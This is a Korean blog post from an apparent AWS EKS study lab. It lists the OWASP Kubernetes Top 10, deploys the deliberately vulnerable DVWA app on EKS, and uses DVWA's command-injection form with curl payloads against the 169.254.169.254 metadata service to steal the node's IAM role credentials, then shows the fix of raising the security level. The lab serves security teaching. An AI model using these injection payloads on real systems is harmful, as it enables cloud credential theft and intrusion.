✍ Posted by Immersive Builder Seong
OWASP Kubernetes Top 10 이란?
OWASP에서 발표한 쿠버네티스 도입 시 어플리케이션과 인프라 단에서 발생할 수 있는 상위 10가지 보안 리스크
- K01: Insecure Workload Configuration
- K02: Supply Chain Vulnerabilities
- K03: Overly Permissive RBAC
- K04: Policy Enforcement
- K05: Inadequate Logging
- K06: Broken Authentication
- K07: Network Segmentation
- K08: Secrets Management
- K09: Misconfigured Cluster Components
- K10: Vulnerable Components
EKS 파드가 IMDS API를 악용하는 시나리오
MySQL 배포
$ cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
name: dvwa-secrets
type: Opaque
data:
# s3r00tpa55
ROOT_PASSWORD: czNyMDB0cGE1NQ==
# dvwa
DVWA_USERNAME: ZHZ3YQ==
# p@ssword
DVWA_PASSWORD: cEBzc3dvcmQ=
# dvwa
DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-mysql-service
spec:
selector:
app: dvwa-mysql
tier: backend
ports:
- protocol: TCP
port: 3306
targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-mysql
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-mysql
tier: backend
template:
metadata:
labels:
app: dvwa-mysql
tier: backend
spec:
containers:
- name: mysql
image: mariadb:10.1
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
ports:
- containerPort: 3306
env:
- name: MYSQL_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: ROOT_PASSWORD
- name: MYSQL_USER
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
EOT
$ kubectl apply -f mysql.yaml
secret/dvwa-secrets created
service/dvwa-mysql-service created
deployment.apps/dvwa-mysql created
dvwa 배포
$ cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: dvwa-config
data:
RECAPTCHA_PRIV_KEY: ""
RECAPTCHA_PUB_KEY: ""
SECURITY_LEVEL: "low"
PHPIDS_ENABLED: "0"
PHPIDS_VERBOSE: "1"
PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-web-service
spec:
selector:
app: dvwa-web
type: ClusterIP
ports:
- protocol: TCP
port: 80
targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-web
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-web
template:
metadata:
labels:
app: dvwa-web
spec:
containers:
- name: dvwa
image: cytopia/dvwa:php-8.1
ports:
- containerPort: 80
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
env:
- name: RECAPTCHA_PRIV_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PRIV_KEY
- name: RECAPTCHA_PUB_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PUB_KEY
- name: SECURITY_LEVEL
valueFrom:
configMapKeyRef:
name: dvwa-config
key: SECURITY_LEVEL
- name: PHPIDS_ENABLED
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_ENABLED
- name: PHPIDS_VERBOSE
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_VERBOSE
- name: PHP_DISPLAY_ERRORS
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHP_DISPLAY_ERRORS
- name: MYSQL_HOSTNAME
value: dvwa-mysql-service
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
- name: MYSQL_USERNAME
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
EOT
$ kubectl apply -f dvwa.yaml
configmap/dvwa-config created
service/dvwa-web-service created
deployment.apps/dvwa-web created
Ingress 배포
$ cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
alb.ingress.kubernetes.io/group.name: study
alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/ssl-redirect: "443"
alb.ingress.kubernetes.io/success-codes: 200-399
alb.ingress.kubernetes.io/target-type: ip
name: ingress-dvwa
spec:
ingressClassName: alb
rules:
- host: dvwa.$MyDomain
http:
paths:
- backend:
service:
name: dvwa-web-service
port:
number: 80
path: /
pathType: Prefix
EOT
$ kubectl apply -f dvwa-ingress.yaml
ingress.networking.k8s.io/ingress-dvwa created
$ echo -e "DVWA Web https://dvwa.$MyDomain"
DVWA Web https://dvwa.okms1017.name
Command Injection
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
토큰 값 취득 : AQAEAPK**********
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAPK**********==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
토큰 값을 복사하여 EC2 Instance Profile (IAM Role) 이름 취득 : eksctl-myeks-nodegroup-ng1-NodeInstanceRole-z0wkA5ivz992
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEAPK**********" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-z0wkA5ivz992
EC2 Instance Profile (IAM Role) 자격증명 탈취 : AccessKey Id, SecretAccessKey, Token
탈취한 자격증명과 토큰으로 그 외 리소스에 접근할 수 있음.
Command Injection 공격이 가능한 이유는 Security Level이 낮기(Low) 때문.
DVWA Security Level : Low → Medium 으로 변경
동일한 명령어로 재시도 : 8.8.8.8; echo; hostname
무반응.
Secure Coding으로 보안이 한단계 강화되었음 !
[출처]
1) CloudNet@, AEWS 실습 스터디
'AWS > EKS' 카테고리의 다른 글
[AEWS2] 7-1. EKS CI/CD - Jenkins (2) | 2024.04.21 |
---|---|
[AEWS2] 6-5. Kyverno (0) | 2024.04.13 |
[AEWS2] 6-3. EKS IRSA & Pod Identity (0) | 2024.04.13 |
[AEWS2] 6-2. EKS Authentication & Authorization (0) | 2024.04.13 |
[AEWS2] 6-1. JWT 란? (0) | 2024.04.13 |